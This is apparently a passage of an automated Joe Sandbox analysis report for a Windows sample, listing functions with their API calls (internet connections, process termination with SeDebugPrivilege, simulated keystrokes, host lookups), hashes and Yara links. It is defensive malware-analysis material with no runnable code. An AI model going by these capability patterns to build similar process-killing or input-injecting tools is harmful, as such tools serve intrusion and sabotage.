___from_strstr_to_strchr.LIBCMT ref: 00F6CEB7
_free.LIBCMT ref: 00F6CF22
_free.LIBCMT ref: 00F6CF48
_free.LIBCMT ref: 00F6CF71
_free.LIBCMT ref: 00F6CFA9
_free.LIBCMT ref: 00F6CFDA
_free.LIBCMT ref: 00F6D01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 00F6D09C
_free.LIBCMT ref: 00F6D0B5

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 1f91536b9fadee9a954d6b27211a667c8ea56d252377a6a2413d2522efba2367
Instruction ID: 8b097932f773483763a6a941e9d9163f722cabdda4b0d3cb024eeb82f30e4dd4
Opcode Fuzzy Hash: 1f91536b9fadee9a954d6b27211a667c8ea56d252377a6a2413d2522efba2367
Instruction Fuzzy Hash: 71611471E04201AFDB25AFB49C81B7E7BA5AF05360F04416EF9C597286DB3A9901B7F0

Function 00FC50D4 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00002001,00000000,00000000), ref: 00FC5186
ShowWindow.USER32(?,00000000), ref: 00FC51C7
ShowWindow.USER32(?,00000005,?,00000000), ref: 00FC51CD
SetFocus.USER32(?,?,00000005,?,00000000), ref: 00FC51D1

Part of subcall function 00FC6FBA: DeleteObject.GDI32(00000000), ref: 00FC6FE6

GetWindowLongW.USER32(?,000000F0), ref: 00FC520D
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00FC521A
InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00FC524D
SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 00FC5287
SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 00FC5296

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: de6fce36560383631556a80dde7c62efd7c4b849d4d2720910e98973b9df669f
Instruction ID: 69b27162bb7fadfa40e1169b71e1c7a93656fe00b9e9c27203b0018bb28b23a5
Opcode Fuzzy Hash: de6fce36560383631556a80dde7c62efd7c4b849d4d2720910e98973b9df669f
Instruction Fuzzy Hash: 97519E30E40A0ABEEB209F24CE4BFD93BA5EB05B24F584009F519962E1C375B9C0FB40

Function 00F48B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00F86890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 00F868A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00F868B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 00F868D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00F868F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00F48874,00000000,00000000,00000000,000000FF,00000000), ref: 00F86901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00F8691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00F48874,00000000,00000000,00000000,000000FF,00000000), ref: 00F8692D

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: a91ba30bdeef007cbd74a9d76a10ac04f58d78544bd00eeea10bf5bdaaeef7dc
Instruction ID: bf2628e696e8e071abaa49ecee489cc53f579910cff3b8689a848d4febb3d969
Opcode Fuzzy Hash: a91ba30bdeef007cbd74a9d76a10ac04f58d78544bd00eeea10bf5bdaaeef7dc
Instruction Fuzzy Hash: BC515970A00209EFDB20DF24CD46FAA7BB5EF88760F104518F95AD72A0DB75E991EB50

Function 00FAC143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00FAC182
GetLastError.KERNEL32 ref: 00FAC195
SetEvent.KERNEL32(?), ref: 00FAC1A9

Part of subcall function 00FAC253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00FAC272
Part of subcall function 00FAC253: GetLastError.KERNEL32 ref: 00FAC322
Part of subcall function 00FAC253: SetEvent.KERNEL32(?), ref: 00FAC336
Part of subcall function 00FAC253: InternetCloseHandle.WININET(00000000), ref: 00FAC341

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: e4ba750544614502097c1c7d6ea8f41dcbd64d00c53f0cbe6a37bf2a70831f24
Instruction ID: fef2b9b27d6cb90788aa66820ddd76754683bf261d03f1c927f879a7a0c5b3ef
Opcode Fuzzy Hash: e4ba750544614502097c1c7d6ea8f41dcbd64d00c53f0cbe6a37bf2a70831f24
Instruction Fuzzy Hash: 42319EB1600609AFDB219FA5DE44BA6BBF8FF5A310B04441EF95A83610D731E814FBE0

Function 00F925A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F93A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00F93A57
Part of subcall function 00F93A3D: GetCurrentThreadId.KERNEL32 ref: 00F93A5E
Part of subcall function 00F93A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00F925B3), ref: 00F93A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 00F925BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00F925DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00F925DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 00F925E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00F92601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00F92605
MapVirtualKeyW.USER32(00000025,00000000), ref: 00F9260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00F92623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00F92627

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: d405738c91864bc60abce1fe172088f1197b9e11d18e9f6b71cb0829ecda509e
Instruction ID: 06e3e566138b5313533b337b893cf5c0ee6e0568f8dde6f5255fa5047e2e5b9b
Opcode Fuzzy Hash: d405738c91864bc60abce1fe172088f1197b9e11d18e9f6b71cb0829ecda509e
Instruction Fuzzy Hash: 2F01D431790214BBFB20676A9C8BF593F59DB4EB12F110001F31CAF1D2C9F22444AAA9

Function 00F91803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00F91449,?,?,00000000), ref: 00F9180C
HeapAlloc.KERNEL32(00000000,?,00F91449,?,?,00000000), ref: 00F91813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00F91449,?,?,00000000), ref: 00F91828
GetCurrentProcess.KERNEL32(?,00000000,?,00F91449,?,?,00000000), ref: 00F91830
DuplicateHandle.KERNEL32(00000000,?,00F91449,?,?,00000000), ref: 00F91833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00F91449,?,?,00000000), ref: 00F91843
GetCurrentProcess.KERNEL32(00F91449,00000000,?,00F91449,?,?,00000000), ref: 00F9184B
DuplicateHandle.KERNEL32(00000000,?,00F91449,?,?,00000000), ref: 00F9184E
CreateThread.KERNEL32(00000000,00000000,00F91874,00000000,00000000,00000000), ref: 00F91868

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: a6ff852a584debf8b280a1b93f07f61544b7bf7f27ea8643a0dac64e7113351d
Instruction ID: ce7ccccbcb21f1b545234fb10912bfb16a0afcd3dacd343759382562c9b13e96
Opcode Fuzzy Hash: a6ff852a584debf8b280a1b93f07f61544b7bf7f27ea8643a0dac64e7113351d
Instruction Fuzzy Hash: 6F01BFB5240348BFE710AB66DD4EF5B3B6CEB89B11F044411FA05DB192C6759800DB60

Function 00FBA0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00F9D4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 00F9D501
Part of subcall function 00F9D4DC: Process32FirstW.KERNEL32(00000000,?), ref: 00F9D50F
Part of subcall function 00F9D4DC: CloseHandle.KERNELBASE(00000000), ref: 00F9D5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00FBA16D
GetLastError.KERNEL32 ref: 00FBA180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00FBA1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 00FBA268
GetLastError.KERNEL32(00000000), ref: 00FBA273
CloseHandle.KERNEL32(00000000), ref: 00FBA2C4

Strings

SeDebugPrivilege, xrefs: 00FBA18F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 69d33fee6605247dd2d3fd29db8769308134fa07fc53ee15322fc288a03d67be
Instruction ID: b02c4c8c95f4d0adeb9e1e462024e4247f1767a7260c913005f0d4fb3ff40372
Opcode Fuzzy Hash: 69d33fee6605247dd2d3fd29db8769308134fa07fc53ee15322fc288a03d67be
Instruction Fuzzy Hash: 6161A131604242AFD720DF19C895F55BBE1AF44328F18849CE46A8BBA3C776EC45DF92

Function 00F9BC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F9BCFD
IsMenu.USER32(00000000), ref: 00F9BD1D
CreatePopupMenu.USER32 ref: 00F9BD53
GetMenuItemCount.USER32(015855E8), ref: 00F9BDA4
InsertMenuItemW.USER32(015855E8,?,00000001,00000030), ref: 00F9BDCC

Strings

0, xrefs: 00F9BCA8
2, xrefs: 00F9BD37

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: cba4152e251c85fdccad1f063f6a823e8c4f63a883ce65b0e481dcce89cf3f9e
Instruction ID: 0e61719ab0a0819842d873e2f3b089500d1b598d690836901d0e568f4a3cf600
Opcode Fuzzy Hash: cba4152e251c85fdccad1f063f6a823e8c4f63a883ce65b0e481dcce89cf3f9e
Instruction Fuzzy Hash: 2C51D170A00209DBFF11CFA9EA88BAEBBF4FF45324F14411AE405D7290D7749941EB91

Function 00F9C874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00F9C913

Strings

question, xrefs: 00F9C8CC
info, xrefs: 00F9C8B4
blank, xrefs: 00F9C895
stop, xrefs: 00F9C8E4
warning, xrefs: 00F9C8FC

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: d418944562558cc12c77e9038faa1a4574b3bf4dd51b8a84a5ff8c6afae70c38
Instruction ID: 827c8d7fe599e0b04276fd26ba134b590669fcabfa8be543fef3a14bcc821457
Opcode Fuzzy Hash: d418944562558cc12c77e9038faa1a4574b3bf4dd51b8a84a5ff8c6afae70c38
Instruction Fuzzy Hash: 59110033A8930ABAFF056B549C83DAA7B9CDF15769B10002AF604E6192DB74AD4073E5

Function 00F9DE27 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00F9DE42
gethostname.WSOCK32(?,00000100), ref: 00F9DE5C
gethostbyname.WSOCK32(?), ref: 00F9DE69
inet_ntoa.WSOCK32(?), ref: 00F9DEAB
_strcat.LIBCMT ref: 00F9DEB9
WSACleanup.WSOCK32 ref: 00F9DEDE

Strings

0.0.0.0, xrefs: 00F9DE87

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 642191829-3771769585
Opcode ID: ebb952ed86b5990c6efe1fb13088d07c9399ecde107d16a013ab099dddd452d4
Instruction ID: d34fa532e441afb71486a62143c4ec39690239e0a56ebedc6d9167006e734e9e
Opcode Fuzzy Hash: ebb952ed86b5990c6efe1fb13088d07c9399ecde107d16a013ab099dddd452d4
Instruction Fuzzy Hash: C4113671800109ABDF24BB60DC0BEEF37ACDF10721F110169F50997091EF749A84BAA0

Function 00FC9F86 Relevance: 12.3, APIs: 8, Instructions: 260windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F49BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F49BB2

GetSystemMetrics.USER32(0000000F), ref: 00FC9FC7
GetSystemMetrics.USER32(0000000F), ref: 00FC9FE7
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00FCA224
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00FCA242
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00FCA263
ShowWindow.USER32(00000003,00000000), ref: 00FCA282
InvalidateRect.USER32(?,00000000,00000001), ref: 00FCA2A7
DefDlgProcW.USER32(?,00000005,?,?), ref: 00FCA2CA

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 2250253d1c9a48122588d45a3b68065c547de42a8309606f4f45c951ed6070d0
Instruction ID: b95d9992a7af05c5c9bf19249d8373164f30a590ddd25711211953105fffbd25
Opcode Fuzzy Hash: 2250253d1c9a48122588d45a3b68065c547de42a8309606f4f45c951ed6070d0
Instruction Fuzzy Hash: 68B19E31A0021ADFDF14CF68CA86BEE7BB2FF44715F088069ED499B295D731A940EB51

Function 00F9ED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00F9ED2A
_wcslen.LIBCMT ref: 00F9ED3B
_wcslen.LIBCMT ref: 00F9ED79
_wcslen.LIBCMT ref: 00F9EDAF
_wcslen.LIBCMT ref: 00F9EDDF
_wcslen.LIBCMT ref: 00F9EDEF
_wcslen.LIBCMT ref: 00F9EE2B
_wcslen.LIBCMT ref: 00F9EE5A

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: a0f7e5e9f7d4d00d0b9771717efb8663b4049cd28b6b057da1f1a6c38c6e415c
Instruction ID: 39171252ec8f187d48992d126f802ad34ea456cae342bf39270cdf8da945fd72
Opcode Fuzzy Hash: a0f7e5e9f7d4d00d0b9771717efb8663b4049cd28b6b057da1f1a6c38c6e415c
Instruction Fuzzy Hash: A941B265C1021875DF11EBF48C8A9CFB7B8EF45311F508466EA18E3122FB38E249D3A5

Function 00F4F8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,?,?,?,?,00000005,?,?,00F4F8B0,00000005,00000000), ref: 00F4F953
ShowWindow.USER32(FFFFFFFF,00000006,?,?,?,?,00000005,?,?,00F4F8B0,00000005,00000000), ref: 00F8F3D1
ShowWindow.USER32(FFFFFFFF,?,?,?,?,?,00000005,?,?,00F4F8B0,00000005,00000000), ref: 00F8F454

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: bf60cd3a61fe0f655412e55c30edb87e4501d8894395e3537eb113ebb6c109e6
Instruction ID: ff0cd6909c41fd8ee0396dabbab53e08f7effb3d49b604922d9575ab560d859b
Opcode Fuzzy Hash: bf60cd3a61fe0f655412e55c30edb87e4501d8894395e3537eb113ebb6c109e6
Instruction Fuzzy Hash: 9E413B31A18640BED7399F28CD88B6A7F91AF56320F14443DE88F53660C732A888FB51

Function 00FC2D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00FC2D1B
GetDC.USER32(00000000), ref: 00FC2D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00FC2D2E
ReleaseDC.USER32(00000000,00000000), ref: 00FC2D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00FC2D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00FC2D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00FC5A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00FC2DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00FC2DE1

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 5b3de7f600d99fa2f699bbd0c12e164d7ad65a2bc6f29f56a1086ddbb73076cf
Instruction ID: 1df263becc5009b442f24b95207ba55718f795c6955a319820b7bee4ee98c451
Opcode Fuzzy Hash: 5b3de7f600d99fa2f699bbd0c12e164d7ad65a2bc6f29f56a1086ddbb73076cf
Instruction Fuzzy Hash: 3B318B72201214BFEB118F548E8AFEB3BA9EF59721F084055FE099B291C6759C41DBA0

Function 00F95622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00F95637
_memcmp.LIBVCRUNTIME ref: 00F95659
_memcmp.LIBVCRUNTIME ref: 00F95671
_memcmp.LIBVCRUNTIME ref: 00F95684
_memcmp.LIBVCRUNTIME ref: 00F9569E
_memcmp.LIBVCRUNTIME ref: 00F956B1
_memcmp.LIBVCRUNTIME ref: 00F956C9
_memcmp.LIBVCRUNTIME ref: 00F956E4

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 0f07bcf1d6cb21f5e8eab80baf54bbc3e85b81d8f5ba53ac9ee75cfb7d3ecc93
Instruction ID: 83d55d4e5326150de52a84ca164190786bada12305a5a498d99994093df9cc15
Opcode Fuzzy Hash: 0f07bcf1d6cb21f5e8eab80baf54bbc3e85b81d8f5ba53ac9ee75cfb7d3ecc93
